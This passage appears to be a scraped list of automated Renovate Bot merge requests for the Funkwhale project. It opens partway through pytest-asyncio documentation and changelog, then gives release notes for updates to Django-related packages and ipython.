*strict* and *legacy* (default).
The mode can be set by `asyncio_mode` configuration option in
[configuration
file](https://docs.pytest.org/en/latest/reference/customize.html):
```{.sourceCode .ini}
### pytest.ini
[pytest]
asyncio_mode = auto
```
The value can be overriden by command-line option for `pytest`
invocation:
```{.sourceCode .bash}
$ pytest tests --asyncio-mode=strict
```
## Auto mode
When the mode is auto, all discovered *async* tests are considered
*asyncio-driven* even if they have no `@pytest.mark.asyncio` marker.
All async fixtures are considered *asyncio-driven* as well, even if they
are decorated with a regular `@pytest.fixture` decorator instead of
dedicated `@pytest_asyncio.fixture` counterpart.
*asyncio-driven* means that tests and fixtures are executed by
`pytest-asyncio` plugin.
This mode requires the simplest tests and fixtures configuration and is
recommended for default usage *unless* the same project and its test
suite should execute tests from different async frameworks, e.g.
`asyncio` and `trio`. In this case, auto-handling can break tests
designed for other framework; plase use *strict* mode instead.
## Strict mode
Strict mode enforces `@pytest.mark.asyncio` and
`@pytest_asyncio.fixture` usage. Without these markers, tests and
fixtures are not considered as *asyncio-driven*, other pytest plugin can
handle them.
Please use this mode if multiple async frameworks should be combined in
the same test suite.
## Legacy mode
This mode follows rules used by `pytest-asyncio<0.17`: tests are not
auto-marked but fixtures are.
This mode is used by default for the sake of backward compatibility,
deprecation warnings are emitted with suggestion to either switching to
`auto` mode or using `strict` mode with `@pytest_asyncio.fixture`
decorators.
In future, the default will be changed.
# Fixtures
## `event_loop`
Creates and injects a new instance of the default asyncio event loop. By
default, the loop will be closed at the end of the test (i.e. the
default fixture scope is `function`).
Note that just using the `event_loop` fixture won't make your test
function a coroutine. You'll need to interact with the event loop
directly, using methods like `event_loop.run_until_complete`. See the
`pytest.mark.asyncio` marker for treating test functions like
coroutines.
Simply using this fixture will not set the generated event loop as the
default asyncio event loop, or change the asyncio event loop policy in
any way. Use `pytest.mark.asyncio` for this purpose.
```{.sourceCode .python}
def test_http_client(event_loop):
url = "http://httpbin.org/get"
resp = event_loop.run_until_complete(http_client(url))
assert b"HTTP/1.1 200 OK" in resp
```
This fixture can be easily overridden in any of the standard pytest
locations (e.g. directly in the test file, or in `conftest.py`) to use a
non-default event loop. This will take effect even if you're using the
`pytest.mark.asyncio` marker and not the `event_loop` fixture directly.
```{.sourceCode .python}
@​pytest.fixture
def event_loop():
loop = MyCustomLoop()
yield loop
loop.close()
```
If the `pytest.mark.asyncio` marker is applied, a pytest hook will
ensure the produced loop is set as the default global loop. Fixtures
depending on the `event_loop` fixture can expect the policy to be
properly modified when they run.
## `unused_tcp_port`
Finds and yields a single unused TCP port on the localhost interface.
Useful for binding temporary test servers.
## `unused_tcp_port_factory`
A callable which returns a different unused TCP port each invocation.
Useful when several unused TCP ports are required in a test.
```{.sourceCode .python}
def a_test(unused_tcp_port_factory):
port1, port2 = unused_tcp_port_factory(), unused_tcp_port_factory()
...
```
## `unused_udp_port` and `unused_udp_port_factory`
Work just like their TCP counterparts but return unused UDP ports.
## Async fixtures
Asynchronous fixtures are defined just like ordinary pytest fixtures,
except they should be decorated with `@pytest_asyncio.fixture`.
```{.sourceCode .python3}
import pytest_asyncio
@​pytest_asyncio.fixture
async def async_gen_fixture():
await asyncio.sleep(0.1)
yield "a value"
@​pytest_asyncio.fixture(scope="module")
async def async_fixture():
return await asyncio.sleep(0.1)
```
All scopes are supported, but if you use a non-function scope you will
need to redefine the `event_loop` fixture to have the same or broader
scope. Async fixtures need the event loop, and so must have the same or
narrower scope than the `event_loop` fixture.
*auto* and *legacy* mode automatically converts async fixtures declared
with the standard `@pytest.fixture` decorator to *asyncio-driven*
versions.
# Markers
## `pytest.mark.asyncio`
Mark your test coroutine with this marker and pytest will execute it as
an asyncio task using the event loop provided by the `event_loop`
fixture. See the introductory section for an example.
The event loop used can be overridden by overriding the `event_loop`
fixture (see above).
In order to make your test code a little more concise, the pytest
`pytestmark`\_ feature can be used to mark entire modules or classes
with this marker. Only test coroutines will be affected (by default,
coroutines prefixed by `test_`), so, for example, fixtures are safe to
define.
```{.sourceCode .python}
import asyncio
import pytest
### All test coroutines will be treated as marked.
pytestmark = pytest.mark.asyncio
async def test_example(event_loop):
"""No marker!"""
await asyncio.sleep(0, loop=event_loop)
```
In *auto* mode, the `pytest.mark.asyncio` marker can be omitted, the
marker is added automatically to *async* test functions.
# Note about unittest
Test classes subclassing the standard
[unittest](https://docs.python.org/3/library/unittest.html) library are
not supported, users are recommended to use
[unitest.IsolatedAsyncioTestCase](https://docs.python.org/3/library/unittest.html#unittest.IsolatedAsyncioTestCase)
or an async framework such as
[asynctest](https://asynctest.readthedocs.io/en/latest).
# Changelog
## 0.17.0 (22-01-13)
- \[pytest-asyncio]{.title-ref} no longer alters existing event loop
policies.
[#​168](https://github.com/pytest-dev/pytest-asyncio/issues/168),
[#​188](https://github.com/pytest-dev/pytest-asyncio/issues/168)
- Drop support for Python 3.6
- Fixed an issue when pytest-asyncio was used in combination with
\[flaky]{.title-ref} or inherited asynchronous Hypothesis tests.
[#​178](https://github.com/pytest-dev/pytest-asyncio/issues/178)
[#​231](https://github.com/pytest-dev/pytest-asyncio/issues/231)
- Added [flaky](https://pypi.org/project/flaky/) to test dependencies
- Added `unused_udp_port` and `unused_udp_port_factory` fixtures
(similar to `unused_tcp_port` and `unused_tcp_port_factory`
counterparts.
[#​99](https://github.com/pytest-dev/pytest-asyncio/issues/99)
- Added the plugin modes: *strict*, *auto*, and *legacy*. See
[documentation](https://github.com/pytest-dev/pytest-asyncio#modes)
for details.
[#​125](https://github.com/pytest-dev/pytest-asyncio/issues/125)
- Correctly process `KeyboardInterrupt` during async fixture setup
phase
[#​219](https://github.com/pytest-dev/pytest-asyncio/issues/219)
## 0.16.0 (2021-10-16)
- Add support for Python 3.10
## 0.15.1 (2021-04-22)
- Hotfix for errors while closing event loops while replacing them.
[#​209](https://github.com/pytest-dev/pytest-asyncio/issues/209)
[#​210](https://github.com/pytest-dev/pytest-asyncio/issues/210)
## 0.15.0 (2021-04-19)
- Add support for Python 3.9
- Abandon support for Python 3.5. If you still require support for
Python 3.5, please use pytest-asyncio v0.14 or earlier.
- Set `unused_tcp_port_factory` fixture scope to 'session'.
[#​163](https://github.com/pytest-dev/pytest-asyncio/pull/163)
- Properly close event loops when replacing them.
[#​208](https://github.com/pytest-dev/pytest-asyncio/issues/208)
## 0.14.0 (2020-06-24)
- Fix
[#​162](https://github.com/pytest-dev/pytest-asyncio/issues/162),
and `event_loop` fixture behavior now is coherent on all scopes.
[#​164](https://github.com/pytest-dev/pytest-asyncio/pull/164)
## 0.12.0 (2020-05-04)
- Run the event loop fixture as soon as possible. This helps with
fixtures that have an implicit dependency on the event loop.
[#​156](https://github.com/pytest-dev/pytest-asyncio/pull/156)
## 0.11.0 (2020-04-20)
- Test on 3.8, drop 3.3 and 3.4. Stick to 0.10 for these versions.
[#​152](https://github.com/pytest-dev/pytest-asyncio/pull/152)
- Use the new Pytest 5.4.0 Function API. We therefore depend on
pytest >= 5.4.0.
[#​142](https://github.com/pytest-dev/pytest-asyncio/pull/142)
- Better `pytest.skip` support.
[#​126](https://github.com/pytest-dev/pytest-asyncio/pull/126)
## 0.10.0 (2019-01-08)
- `pytest-asyncio` integrates with
[Hypothesis](https://hypothesis.readthedocs.io) to support `@given`
on async test functions using `asyncio`.
[#​102](https://github.com/pytest-dev/pytest-asyncio/pull/102)
- Pytest 4.1 support.
[#​105](https://github.com/pytest-dev/pytest-asyncio/pull/105)
## 0.9.0 (2018-07-28)
- Python 3.7 support.
- Remove `event_loop_process_pool` fixture and
`pytest.mark.asyncio_process_pool` marker (see
<https://bugs.python.org/issue34075> for deprecation and removal
details)
## 0.8.0 (2017-09-23)
- Improve integration with other packages (like aiohttp) with more
careful event loop handling.
[#​64](https://github.com/pytest-dev/pytest-asyncio/pull/64)
## 0.7.0 (2017-09-08)
- Python versions pre-3.6 can use the async_generator library for
async fixtures. \[[#​62](https://github.com/pytest-dev/pytest-asyncio/issues/62)
\<https://github.com/pytest-dev/pytest-asyncio/pull/62>]{.title-ref}
## 0.6.0 (2017-05-28)
- Support for Python versions pre-3.5 has been dropped.
- `pytestmark` now works on both module and class level.
- The `forbid_global_loop` parameter has been removed.
- Support for async and async gen fixtures has been added.
[#​45](https://github.com/pytest-dev/pytest-asyncio/pull/45)
- The deprecation warning regarding `asyncio.async()` has been fixed.
[#​51](https://github.com/pytest-dev/pytest-asyncio/pull/51)
## 0.5.0 (2016-09-07)
- Introduced a changelog.
[#​31](https://github.com/pytest-dev/pytest-asyncio/issues/31)
- The `event_loop` fixture is again responsible for closing itself.
This makes the fixture slightly harder to correctly override, but
enables other fixtures to depend on it correctly.
[#​30](https://github.com/pytest-dev/pytest-asyncio/issues/30)
- Deal with the event loop policy by wrapping a special pytest hook,
`pytest_fixture_setup`. This allows setting the policy before
fixtures dependent on the `event_loop` fixture run, thus allowing
them to take advantage of the `forbid_global_loop` parameter. As a
consequence of this, we now depend on pytest 3.0.
[#​29](https://github.com/pytest-dev/pytest-asyncio/issues/29)
## 0.4.1 (2016-06-01)
- Fix a bug preventing the propagation of exceptions from the plugin.
[#​25](https://github.com/pytest-dev/pytest-asyncio/issues/25)
## 0.4.0 (2016-05-30)
- Make `event_loop` fixtures simpler to override by closing them in
the plugin, instead of directly in the fixture.
[#​21](https://github.com/pytest-dev/pytest-asyncio/pull/21)
- Introduce the `forbid_global_loop` parameter.
[#​21](https://github.com/pytest-dev/pytest-asyncio/pull/21)
## 0.3.0 (2015-12-19)
- Support for Python 3.5 `async`/`await` syntax.
[#​17](https://github.com/pytest-dev/pytest-asyncio/pull/17)
## 0.2.0 (2015-08-01)
- `unused_tcp_port_factory` fixture.
[#​10](https://github.com/pytest-dev/pytest-asyncio/issues/10)
## 0.1.1 (2015-04-23)
Initial release.
# Contributing
Contributions are very welcome. Tests can be run with `tox`, please
ensure the coverage at least stays the same before you submit a pull
request.
### [`v0.16.0`](https://github.com/pytest-dev/pytest-asyncio/compare/v0.15.1...v0.16.0)
[Compare Source](https://github.com/pytest-dev/pytest-asyncio/compare/v0.15.1...v0.16.0)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1558Update dependency djangorestframework to v3.13.1 (develop) - autoclosed2022-02-02T01:07:15ZRenovateBotUpdate dependency djangorestframework to v3.13.1 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [djangorestframework](https://www.django-rest-framework.org/) ([source](https://github.com/encode/django-rest-framework), [changelog](https...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [djangorestframework](https://www.django-rest-framework.org/) ([source](https://github.com/encode/django-rest-framework), [changelog](https://www.django-rest-framework.org/community/release-notes/)) | dependencies | minor | `==3.12.4` -> `==3.13.1` |
---
### Release Notes
<details>
<summary>encode/django-rest-framework</summary>
### [`v3.13.1`](https://github.com/encode/django-rest-framework/compare/3.13.0...3.13.1)
[Compare Source](https://github.com/encode/django-rest-framework/compare/3.13.0...3.13.1)
### [`v3.13.0`](https://github.com/encode/django-rest-framework/compare/3.12.4...3.13.0)
[Compare Source](https://github.com/encode/django-rest-framework/compare/3.12.4...3.13.0)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1557Update dependency django-storages to v1.12.3 (develop) - autoclosed2022-02-02T01:07:11ZRenovateBotUpdate dependency django-storages to v1.12.3 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-storages](https://github.com/jschneier/django-storages) ([changelog](https://github.com/jschneier/django-storages/blob/master/CHANG...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-storages](https://github.com/jschneier/django-storages) ([changelog](https://github.com/jschneier/django-storages/blob/master/CHANGELOG.rst)) | dependencies | minor | `==1.11.1` -> `==1.12.3` |
---
### Release Notes
<details>
<summary>jschneier/django-storages</summary>
### [`v1.12.3`](https://github.com/jschneier/django-storages/compare/1.12.2...1.12.3)
[Compare Source](https://github.com/jschneier/django-storages/compare/1.12.2...1.12.3)
### [`v1.12.2`](https://github.com/jschneier/django-storages/compare/1.12.1...1.12.2)
[Compare Source](https://github.com/jschneier/django-storages/compare/1.12.1...1.12.2)
### [`v1.12.1`](https://github.com/jschneier/django-storages/compare/1.12...1.12.1)
[Compare Source](https://github.com/jschneier/django-storages/compare/1.12...1.12.1)
### [`v1.12`](https://github.com/jschneier/django-storages/compare/1.11.1...1.12)
[Compare Source](https://github.com/jschneier/django-storages/compare/1.11.1...1.12)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1556Update dependency django-redis to v5.2.0 (develop) - autoclosed2022-02-02T01:07:05ZRenovateBotUpdate dependency django-redis to v5.2.0 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-redis](https://github.com/jazzband/django-redis) | dependencies | minor | `==5.0.0` -> `==5.2.0` |
---
### Release Notes
<detail...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-redis](https://github.com/jazzband/django-redis) | dependencies | minor | `==5.0.0` -> `==5.2.0` |
---
### Release Notes
<details>
<summary>jazzband/django-redis</summary>
### [`v5.2.0`](https://github.com/jazzband/django-redis/blob/HEAD/CHANGELOG.rst#django-redis-520-2021-12-22)
[Compare Source](https://github.com/jazzband/django-redis/compare/5.1.0...5.2.0)
\===============================
## Bug Fixes
- Block use with broken redis-py 4.0.0 and 4.0.1 (`#​542 <https://github.com/jazzband/django-redis/issues/542>`\_)
## Miscellaneous
- Unblock redis-py >=4.0.2 (`#​576 <https://github.com/jazzband/django-redis/issues/576>`\_)
- Add support for django 4 (`#​579 <https://github.com/jazzband/django-redis/issues/579>`\_)
### [`v5.1.0`](https://github.com/jazzband/django-redis/blob/HEAD/CHANGELOG.rst#DjangoRedis-510-2021-11-29)
[Compare Source](https://github.com/jazzband/django-redis/compare/5.0.0...5.1.0)
\===============================
## Features
- Add Python 3.10 to CI (`#​536 <https://github.com/jazzband/django-redis/issues/536>`\_)
- Configured `towncrier` to generate the changelog. (`#​548 <https://github.com/jazzband/django-redis/issues/548>`\_)
- Added `django_redis.compressors.zstd.ZStdCompressor` to provide `pyzstd` cache value compression. (`#​551 <https://github.com/jazzband/django-redis/issues/551>`\_)
- Change pickle default version to Python default instead of highest version. (`#​555 <https://github.com/jazzband/django-redis/issues/555>`\_)
- Add `hiredis` extra dependency to request `redis[hiredis]`. (`#​556 <https://github.com/jazzband/django-redis/issues/556>`\_)
- Add pexpireat to allow setting 'expire at' with millisecond precision. (`#​564 <https://github.com/jazzband/django-redis/issues/564>`\_)
## Bug Fixes
- Make expire, pexpire, expireat and persist return the redis client value (`#​564 <https://github.com/jazzband/django-redis/issues/564>`\_)
## Miscellaneous
- Convert most unittest class tests to pytest tests. (`#​553 <https://github.com/jazzband/django-redis/issues/553>`\_)
- Update type comments to type annotations. (`#​568 <https://github.com/jazzband/django-redis/issues/568>`\_)
- Pin redis-py to 3.x until 4.x breaking changes can be addressed. (`#​570 <https://github.com/jazzband/django-redis/issues/570>`\_)
## Documentation
- Clarify redis primary name in sentinel documentation. (`#​529 <https://github.com/jazzband/django-redis/issues/529>`\_)
- Add documentation on configuring self signed SSL certificates. (`#​559 <https://github.com/jazzband/django-redis/issues/559>`\_)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1551Update dependency ipython to v7.31.1 (develop) - autoclosed2022-02-01T21:09:06ZRenovateBotUpdate dependency ipython to v7.31.1 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [ipython](https://ipython.org) ([source](https://github.com/ipython/ipython)) | dependencies | minor | `==7.27.0` -> `==7.31.1` |
---
###...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [ipython](https://ipython.org) ([source](https://github.com/ipython/ipython)) | dependencies | minor | `==7.27.0` -> `==7.31.1` |
---
### Release Notes
<details>
<summary>ipython/ipython</summary>
### [`v7.31.1`](https://github.com/ipython/ipython/compare/7.31.0...7.31.1)
[Compare Source](https://github.com/ipython/ipython/compare/7.31.0...7.31.1)
### [`v7.31.0`](https://github.com/ipython/ipython/compare/7.30.1...7.31.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.30.1...7.31.0)
### [`v7.30.1`](https://github.com/ipython/ipython/compare/7.30.0...7.30.1)
[Compare Source](https://github.com/ipython/ipython/compare/7.30.0...7.30.1)
### [`v7.30.0`](https://github.com/ipython/ipython/compare/7.29.0...7.30.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.29.0...7.30.0)
### [`v7.29.0`](https://github.com/ipython/ipython/compare/7.28.0...7.29.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.28.0...7.29.0)
### [`v7.28.0`](https://github.com/ipython/ipython/compare/7.27.0...7.28.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.27.0...7.28.0)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1554Update dependency django-oauth-toolkit to v1.7.0 (develop) - autoclosed2022-02-01T21:09:03ZRenovateBotUpdate dependency django-oauth-toolkit to v1.7.0 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-oauth-toolkit](https://github.com/jazzband/django-oauth-toolkit) | dependencies | minor | `==1.5.0` -> `==1.7.0` |
---
### Releas...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-oauth-toolkit](https://github.com/jazzband/django-oauth-toolkit) | dependencies | minor | `==1.5.0` -> `==1.7.0` |
---
### Release Notes
<details>
<summary>jazzband/django-oauth-toolkit</summary>
### [`v1.7.0`](https://github.com/jazzband/django-oauth-toolkit/blob/HEAD/CHANGELOG.md#​170-2022-01-23)
[Compare Source](https://github.com/jazzband/django-oauth-toolkit/compare/1.6.3...1.7.0)
##### Added
- [#​969](https://github.com/jazzband/django-oauth-toolkit/issues/969) Add batching of expired token deletions in `cleartokens` management command and `models.clear_expired()`
to improve performance for removal of large numers of expired tokens. Configure with
[`CLEAR_EXPIRED_TOKENS_BATCH_SIZE`](https://django-oauth-toolkit.readthedocs.io/en/latest/settings.html#clear-expired-tokens-batch-size) and
[`CLEAR_EXPIRED_TOKENS_BATCH_INTERVAL`](https://django-oauth-toolkit.readthedocs.io/en/latest/settings.html#clear-expired-tokens-batch-interval).
- [#​1070](https://github.com/jazzband/django-oauth-toolkit/issues/1070) Add a Celery task for clearing expired tokens, e.g. to be scheduled as a [periodic task](https://docs.celeryproject.org/en/stable/userguide/periodic-tasks.html).
- [#​1062](https://github.com/jazzband/django-oauth-toolkit/issues/1062) Add Brazilian Portuguese (pt-BR) translations.
- [#​1069](https://github.com/jazzband/django-oauth-toolkit/issues/1069) OIDC: Add an alternate form of
[get_additional_claims()](https://django-oauth-toolkit.readthedocs.io/en/latest/oidc.html#adding-claims-to-the-id-token)
which makes the list of additional `claims_supported` available at the OIDC auto-discovery endpoint (`.well-known/openid-configuration`).
##### Fixed
- [#​1012](https://github.com/jazzband/django-oauth-toolkit/issues/1012) Return 200 status code with `{"active": false}` when introspecting a nonexistent token
per [RFC 7662](https://datatracker.ietf.org/doc/html/rfc7662#section-2.2). It had been incorrectly returning 401.
### [`v1.6.3`](https://github.com/jazzband/django-oauth-toolkit/blob/HEAD/CHANGELOG.md#​163-2022-01-11)
[Compare Source](https://github.com/jazzband/django-oauth-toolkit/compare/1.6.2...1.6.3)
##### Fixed
- [#​1085](https://github.com/jazzband/django-oauth-toolkit/issues/1085) Fix for [#​1083](https://github.com/jazzband/django-oauth-toolkit/issues/1083) admin UI search for idtoken results in `django.core.exceptions.FieldError: Cannot resolve keyword 'token' into field.`
##### Added
- [#​1085](https://github.com/jazzband/django-oauth-toolkit/issues/1085) Add admin UI search fields for additional models.
### [`v1.6.2`](https://github.com/jazzband/django-oauth-toolkit/blob/HEAD/CHANGELOG.md#​162-2022-01-06)
[Compare Source](https://github.com/jazzband/django-oauth-toolkit/compare/1.6.1...1.6.2)
**NOTE: This release reverts an inadvertently-added breaking change.**
##### Fixed
- [#​1056](https://github.com/jazzband/django-oauth-toolkit/issues/1056) Add missing migration triggered by [Django 4.0 changes to the migrations autodetector](https://docs.djangoproject.com/en/4.0/releases/4.0/#migrations-autodetector-changes).
- [#​1068](https://github.com/jazzband/django-oauth-toolkit/issues/1068) Revert [#​967](https://github.com/jazzband/django-oauth-toolkit/issues/967) which incorrectly changed an API. See [#​1066](https://github.com/jazzband/django-oauth-toolkit/issues/1066).
### [`v1.6.1`](https://github.com/jazzband/django-oauth-toolkit/blob/HEAD/CHANGELOG.md#​161-2021-12-23)
[Compare Source](https://github.com/jazzband/django-oauth-toolkit/compare/1.6.0...1.6.1)
##### Changed
- Note: Only Django 4.0.1+ is supported due to a regression in Django 4.0.0. [Explanation](https://github.com/jazzband/django-oauth-toolkit/pull/1046#issuecomment-998015272)
##### Fixed
- Miscellaneous 1.6.0 packaging issues.
### [`v1.6.0`](https://github.com/jazzband/django-oauth-toolkit/blob/HEAD/CHANGELOG.md#​160-2021-12-19)
[Compare Source](https://github.com/jazzband/django-oauth-toolkit/compare/1.5.0...1.6.0)
##### Added
- [#​949](https://github.com/jazzband/django-oauth-toolkit/issues/949) Provide django.contrib.auth.authenticate() with a `request` for compatibiity with more backends (like django-axes).
- [#​968](https://github.com/jazzband/django-oauth-toolkit/issues/968), [#​1039](https://github.com/jazzband/django-oauth-toolkit/issues/1039) Add support for Django 3.2 and 4.0.
- [#​953](https://github.com/jazzband/django-oauth-toolkit/issues/953) Allow loopback redirect URIs using random ports as described in [RFC8252 section 7.3](https://datatracker.ietf.org/doc/html/rfc8252#section-7.3).
- [#​972](https://github.com/jazzband/django-oauth-toolkit/issues/972) Add Farsi/fa language support.
- [#​978](https://github.com/jazzband/django-oauth-toolkit/issues/978) OIDC: Add support for [rotating multiple RSA private keys](https://django-oauth-toolkit.readthedocs.io/en/latest/oidc.html#rotating-the-rsa-private-key).
- [#​978](https://github.com/jazzband/django-oauth-toolkit/issues/978) OIDC: Add new [OIDC_JWKS_MAX_AGE_SECONDS](https://django-oauth-toolkit.readthedocs.io/en/latest/settings.html#oidc-jwks-max-age-seconds) to improve `jwks_uri` caching.
- [#​967](https://github.com/jazzband/django-oauth-toolkit/issues/967) OIDC: Add [additional claims](https://django-oauth-toolkit.readthedocs.io/en/latest/oidc.html#adding-claims-to-the-id-token) beyond `sub` to the id_token.
- [#​1041](https://github.com/jazzband/django-oauth-toolkit/issues/1041) Add a search field to the Admin UI (e.g. for search for tokens by email address).
##### Changed
- [#​981](https://github.com/jazzband/django-oauth-toolkit/issues/981) Require redirect_uri if multiple URIs are registered per [RFC6749 section 3.1.2.3](https://datatracker.ietf.org/doc/html/rfc6749#section-3.1.2.3)
- [#​991](https://github.com/jazzband/django-oauth-toolkit/issues/991) Update documentation of [REFRESH_TOKEN_EXPIRE_SECONDS](https://django-oauth-toolkit.readthedocs.io/en/latest/settings.html#refresh-token-expire-seconds) to indicate it may be `int` or `datetime.timedelta`.
- [#​977](https://github.com/jazzband/django-oauth-toolkit/issues/977) Update [Tutorial](https://django-oauth-toolkit.readthedocs.io/en/stable/tutorial/tutorial\_01.html#) to show required `include`.
##### Removed
- [#​968](https://github.com/jazzband/django-oauth-toolkit/issues/968) Remove support for Django 3.0 & 3.1 and Python 3.6
- [#​1035](https://github.com/jazzband/django-oauth-toolkit/issues/1035) Removes default_app_config for Django Deprecation Warning
- [#​1023](https://github.com/jazzband/django-oauth-toolkit/issues/1023) six should be dropped
##### Fixed
- [#​963](https://github.com/jazzband/django-oauth-toolkit/issues/963) Fix handling invalid hex values in client query strings with a 400 error rather than 500.
- [#​973](https://github.com/jazzband/django-oauth-toolkit/issues/973) [Tutorial](https://django-oauth-toolkit.readthedocs.io/en/latest/tutorial/tutorial\_01.html#start-your-app) updated to use `django-cors-headers`.
- [#​956](https://github.com/jazzband/django-oauth-toolkit/issues/956) OIDC: Update documentation of [get_userinfo_claims](https://django-oauth-toolkit.readthedocs.io/en/latest/oidc.html#adding-information-to-the-userinfo-service) to add the missing argument.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1553Update dependency django-environ to v0.8.1 (develop) - autoclosed2022-02-01T21:09:00ZRenovateBotUpdate dependency django-environ to v0.8.1 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-environ](https://django-environ.readthedocs.org) ([source](https://github.com/joke2k/django-environ), [changelog](https://django-en...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-environ](https://django-environ.readthedocs.org) ([source](https://github.com/joke2k/django-environ), [changelog](https://django-environ.readthedocs.org/en/latest/changelog.html)) | dependencies | minor | `==0.4.5` -> `==0.8.1` |
---
### Release Notes
<details>
<summary>joke2k/django-environ</summary>
### [`v0.8.1`](https://github.com/joke2k/django-environ/releases/v0.8.1)
[Compare Source](https://github.com/joke2k/django-environ/compare/v0.8.0...v0.8.1)
##### Fixed
- Fixed "Invalid line" spam logs on blank lines in env file [#​340](https://github.com/joke2k/django-environ/issues/340).
- Fixed `memcache`/`pymemcache` URL parsing for correct identification of connection type [#​337](https://github.com/joke2k/django-environ/issues/337).
***
**Full diff**: https://github.com/joke2k/django-environ/compare/v0.8.0...v0.8.1
### [`v0.8.0`](https://github.com/joke2k/django-environ/blob/HEAD/CHANGELOG.rst#v080---17-October-2021)
[Compare Source](https://github.com/joke2k/django-environ/compare/v0.7.0...v0.8.0)
Added
\+++++
- Log invalid lines when parse .env file
`#​283 <https://github.com/joke2k/django-environ/pull/283>`\_.
- Added docker-style file variable support
`#​189 <https://github.com/joke2k/django-environ/issues/189>`\_.
- Added option to override existing variables with `read_env`
`#​103 <https://github.com/joke2k/django-environ/issues/103>`*,
`#​249 <https://github.com/joke2k/django-environ/issues/249>`*.
- Added support for empty var with None default value
`#​209 <https://github.com/joke2k/django-environ/issues/209>`\_.
- Added `pymemcache` cache backend for Django 3.2+
`#​335 <https://github.com/joke2k/django-environ/pull/335>`\_.
Fixed
\+++++
- Keep newline/tab escapes in quoted strings
`#​296 <https://github.com/joke2k/django-environ/pull/296>`\_.
- Handle escaped dollar sign in values
`#​271 <https://github.com/joke2k/django-environ/issues/271>`\_.
- Fixed incorrect parsing of `DATABASES_URL` for Google Cloud MySQL
`#​294 <https://github.com/joke2k/django-environ/issues/294>`\_.
### [`v0.7.0`](https://github.com/joke2k/django-environ/blob/HEAD/CHANGELOG.rst#v070---11-September-2021)
[Compare Source](https://github.com/joke2k/django-environ/compare/v0.6.0...v0.7.0)
Added
\+++++
- Added support for negative float strings
`#​160 <https://github.com/joke2k/django-environ/issues/160>`\_.
- Added Elasticsearch5 to search scheme
`#​297 <https://github.com/joke2k/django-environ/pull/297>`\_.
- Added Elasticsearch7 to search scheme
`#​314 <https://github.com/joke2k/django-environ/issues/314>`\_.
- Added the ability to use `bytes` or `str` as a default value for `Env.bytes()`.
Fixed
\+++++
- Fixed links in the documentation.
- Use default option in `Env.bytes()`
`#​206 <https://github.com/joke2k/django-environ/pull/206>`\_.
- Safely evaluate a string containing an invalid Python literal
`#​200 <https://github.com/joke2k/django-environ/issues/200>`\_.
Changed
\+++++++
